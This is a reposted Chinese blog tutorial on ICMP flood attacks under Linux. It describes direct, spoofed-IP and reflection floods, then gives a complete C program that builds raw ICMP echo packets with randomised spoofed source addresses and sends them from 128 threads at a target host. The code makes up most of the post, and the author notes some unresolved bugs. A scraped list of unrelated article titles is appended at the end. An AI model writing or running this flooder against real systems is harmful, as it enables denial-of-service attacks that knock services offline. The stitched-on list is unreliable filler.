Linux下ICMP洪水***实例

原文链接:http://blog.chinaunix.net/uid-25324849-id-215075.html

注:所以文章红色字体代表需要特别注意和有问题还未解决的地方,蓝色字体表示需要注意的地方

1.本文所介绍的程序平台

虚拟机为:Red Hat Enterprise Linux 5

2.洪水***简介

洪水***指的是利用计算机网络技术向目标机发送大量的无用数据报文,使得目标主机忙于处理无用的数据报文而无法提供正常的服务的网络行为。

洪水***(FLOOD ATTACK),顾名思义,是用大量的请求来淹没目标机。洪水***主要利用了网络协议的安全机制或者直接用十分简单的拼资源的方法来对目标机造成影响。

***的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计。洪水***主要分为ICMP、UDP和SYN***3种类型。

2.1 ICMP洪水***

本实例的ICMP代码是简单的直接方法,建立多个线程向同一个主机发送ICMP请求,而本地的IP地址是伪装的。由于程序仅发送响应,不接收响应,容易造成目标主机的宕机。

ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机的问题。这里边最大的问题是提高处理的速度。ICMP洪水***主要有3种方式。

直接洪水***:这样做需要本地主机的带宽与目标主机的带宽进行比拼,可以采用多线程的方法一次性发送多个ICMP请求报文,让目标主机处理过程问题而速度缓慢或者宕机,直接***容易暴露自己的源IP地址,被对方反攻。

伪装IP***:在直接***的基础上,将发生方的IP地址伪装,将直接IP***的缺点进行了改进。

反射***:与直接***和伪装***不同,反射***不是直接对目标机进行***,而是让其他一群主机误认为目标机在像他们发送ICMP请求包,一群主机向目标机发送ICMP应答包,***方向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。

注意下面程序有两个问题。

实例:

#include <stdio.h>

#include <ctype.h>

#include <unistd.h>

#include <fcntl.h>

#include <signal.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <errno.h>

#include <stdlib.h>

#include <time.h>

#include <pthread.h>

#include <stdio.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <string.h>

#include <stdlib.h>

#include <syslog.h>

#include <stdio.h>

#include <signal.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <setjmp.h>

#include <errno.h>

#include <sys/time.h>

/* 最多线程数 */

#define MAXCHILD 128

/* 目的IP地址 */

static unsigned long dest = 0;

/* ICMP协议的值 */

static int PROTO_ICMP = -1;

/* 程序活动标志 */

static int alive = -1;

static int rawsock;

/* 随机函数产生函数

*由于系统的函数为伪随机函数

*其与初始化有关,因此每次用不同值进行初始化

*/

static inline ulong

myrandom (int begin, int end)

{

int gap = end - begin +1;

int ret = 0;

/* 用系统时间初始化 */

srand((unsigned)time(0));

/* 产生一个介于begin和end之间的值 */

ret = random()%gap + begin;

return ret;

}

static void DoS_icmp (void );

static void

DoS_icmp (void )

{

struct sockaddr_in to;

struct ip *iph;

struct icmp *icmph;

char *packet;

ulong temp;

int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;

packet =(char *)malloc (pktsize);

iph = (struct ip *) packet;

icmph = (struct icmp *) (packet + sizeof (struct ip));

memset (packet, 0, pktsize);

/* IP的版本,IPv4 */

iph->ip_v = 4;

/* IP头部长度,字节数 */

iph->ip_hl = 5;

/* 服务类型 */

iph->ip_tos = 0;

/* IP报文的总长度 */

iph->ip_len = htons (pktsize);

/* 标识,设置为PID */

iph->ip_id = htons (getpid ());

/* 段的便宜地址 */

iph->ip_off = 0;

/* TTL */

iph->ip_ttl = 0x0;

/* 协议类型 */

iph->ip_p = PROTO_ICMP;

/* 校验和,先填写为0 */

iph->ip_sum = 0;

/* 发送的源地址 */

temp = myrandom(0, 65535);

iph->ip_src = *(struct in_addr *)&temp;

/* 发送目标地址 */

iph->ip_dst = *(struct in_addr*)&dest;

//为什么这个输出会有差别,目的地址应该是一致的啊??

//printf("dst ip: %s\n",inet_ntoa(*(struct in_addr*)&dest));

//printf("src ip : %s , dst ip: %s\n", inet_ntoa(iph->ip_src), inet_ntoa(iph->ip_dst));

/* ICMP类型为回显请求 */

icmph->icmp_type = ICMP_ECHO;

/* 代码为0 */

icmph->icmp_code = 0;

/* 由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算 */

icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));

/* 填写发送目的地址部分 */

to.sin_family =AF_INET;

to.sin_addr.s_addr = dest;

to.sin_port = htons(0);

/* 发送数据 */

sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));

/* 释放内存 */

free (packet);

}

static void *

DoS_fun (void * ip)

{

while(alive)

{

DoS_icmp();

//icmp();为什么有没有定义的函数而不报错啊?g++不报错 gcc报错

}

}

/* 信号处理函数,设置退出变量alive */

static void

DoS_sig(int signo)

{

alive = 0;

}

int main(int argc, char *argv[])

{

struct hostent * host = NULL;

struct protoent *protocol = NULL;

char protoname[]= "icmp";

int i = 0;

pthread_t pthread[MAXCHILD];

int err = -1;

unsigned longtemp;

alive = 1;

/* 截取信号CTRL+C */

signal(SIGINT, DoS_sig);

/* 参数是否数量正确 */

if(argc < 2)

{

printf("usage : \n");

return -1;

}

/* 获取协议类型ICMP */

protocol = getprotobyname(protoname);

if (protocol == NULL)

{

perror("getprotobyname()");

return -1;

}

PROTO_ICMP = protocol->p_proto;

/* 输入的目的地址为字符串IP地址 */

dest = inet_addr(argv[1]);

if(dest == INADDR_NONE)

{

/* 为DNS地址 */

host = gethostbyname(argv[1]);

if(host == NULL)

{

perror("gethostbyname");

return -1;

}

temp = inet_addr(host->h_addr);

/* 将地址拷贝到dest中 */

memcpy((char *)&dest, &temp, host->h_length);

}

printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest));

sleep(5);

/* 建立原始socket */

rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);

if (rawsock < 0)

rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);

/* 设置IP选项 */

setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));

/* 建立多个线程协同工作 */

for(i=0; i<MAXCHILD; i++)

{

err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);

}

/* 等待线程结束 */

for(i=0; i<MAXCHILD; i++)

{

pthread_join(pthread[i], NULL);

}

printf("over \n");

close(rawsock);

return 0;

}

转载于:https://blog.51cto.com/584250550/1390110

Linux下ICMP洪水***实例相关推荐

  1. linux数据库实例开机启动不了,linux下Oracle数据库实例开机自启动设置

    linux下数据库实例开机自启动设置 1.改动/oratab [root@org54 ~]# vi/etc/oratab     --把N改为Y,例如以下提示 # This file is used ...

  2. Linux下删除mysql实例,linux下完全删除mysql

    在linux下开发,mysql数据库是经常用到的,对于初学者来说,在linux怎么安装卸载mysql数据库,也许可能比较痛苦,这里简单介绍下,怎么卸载msql数据库. a)查看系统中是否以rpm包安装 ...

  3. oracle的product删除不了,Linux下删除Oracle实例

    前两天远程重建Oracle实例过程中遇到的问题,记录如下: 1.vnc遭遇常见错误 [root@db1 bdump]# vncserver You will require a password to ...

  4. linux下python编程实例_python实现linux下使用xcopy的方法

    本文实例讲述了python实现linux下使用xcopy的方法.分享给大家供大家参考.具体如下: 这个python函数模仿windows下的xcopy命令编写,可以用在linux下 #!/usr/bi ...

  5. linux下c/c++实例之十socket简单应用

    转自:http://blog.csdn.net/taiyang1987912/article/details/49738351 一.简介 通过socket扫描本机打开的tcp端口号,模拟用户名.密码登 ...

  6. Linux下建立多实例Tomcat(独立JVM)

    说明:本文参照了以下文章: http://apps.hi.baidu.com/share/detail/24999679 近期因为客户较多,发现在同一台服务器上由于Lerx V2版本不同,导致了Web ...

  7. Linux 下 新增Oracle10g 实例

    主要分为5步:创建实例目录,创建密码文件,创建参数文件,创建建库脚本并建库,创建数据字典. 其中,需要特别注意2点: 目录的权限,即用户和所属用户组都要是oracle.可以切换到已存在的oracle用 ...

  8. Linux下多线程编程实例解析

    提到线程,不得不让人想起进程,所以还是先写下进程与线程的区别吧! 一.进程与线程的区别 进程是程序执行的一个实例,进程有其自己独立的地址空间.一个线程可以含有多个线程,这也是为了提高系统资源利用率,线 ...

  9. linux下php启动实例,linux下实现定时执行php脚本_php实例

    在linux中输入命令 复制代码 代码如下: crontab -e 然后使用vim的命令编辑打开的文件,输入 复制代码 代码如下: 0 * * * * /usr/bin/php -f /home/us ...

  10. linux下shell编程课程设计,Linux下shell编程实例

    1. 推断一文件是不是块或字符设备文件.假设是将其复制到 /dev 文件夹下 read -p "input a file:" filename if [ -b $filename ...

最新文章

  1. C#中怎样跨窗体调用事件-从事件订阅实例入手
  2. 在线html转ipa,iphone在线安装 ipa 应用:利用 itms-services 协议实现 iOS 应用程序在线安装功能...
  3. jzoj3237-间谍派遣【最小生成树,并查集】
  4. 7-35 部落 (10 分)
  5. QQ号双主号要求验证码解决方法
  6. 细聊冗余表数据一致性(架构师之路)
  7. 成都有哪些计算机科学与技术专业就业前景,成都市计算机学校计算机科学与技术专业就业去向...
  8. Todd.log - a place to keep my thoughts on programming TF-IDF模型的概率解释
  9. R语言lowess函数数据平滑实战(Locally Weighted Regression, Loess)
  10. JGG专刊征稿:时空组学
  11. 最全数据集网站汇总,绝对是一个金矿请查收!
  12. vivo X Flip会是高端手机市场的又一折叠屏爆款吗?
  13. kvm线程-005-线程状态-THREAD_JUST_BORN
  14. Mac环境下Android一键自动打包发布到蒲公英平台
  15. JAVA从网络下载文件到本地
  16. IMAX B6充电器使用说明
  17. w ndows远程自动退出登陆,远程桌面连接Wndows 常见故障解决方法.doc
  18. 树莓派上使用python
  19. 通达OA系统对接 单点登录平台使用和开发手册
  20. 专家系统类毕业论文文献(推荐10篇)

热门文章

  1. paip..net DATAGRIDVIEW表格里边加PROCESSBAR进度条控件总结
  2. 【资产管理】2020年海外头部资管机构经营特点及启示
  3. (转)观点|运营做的好不好,一看系统,二看流程
  4. Juno: 字体缩放
  5. 毕设题目:Matlab元胞自动机城市规划
  6. 【三维路径规划】基于matlab蚁群算法无人机三维路径规划【含Matlab源码 1278期】
  7. oracle 表或视图不存在_sqlalchemy反射不存在主键的表引发的问题
  8. 个性化推荐系统_推荐系统,个性化预测和优点
  9. pandas中DataFrame的修改元素值、缺失值处理、合并操作的方法
  10. Hadoop中core-site.xml文件不允许有匹配“[xX] [mM] [lL]”的处理指令目标。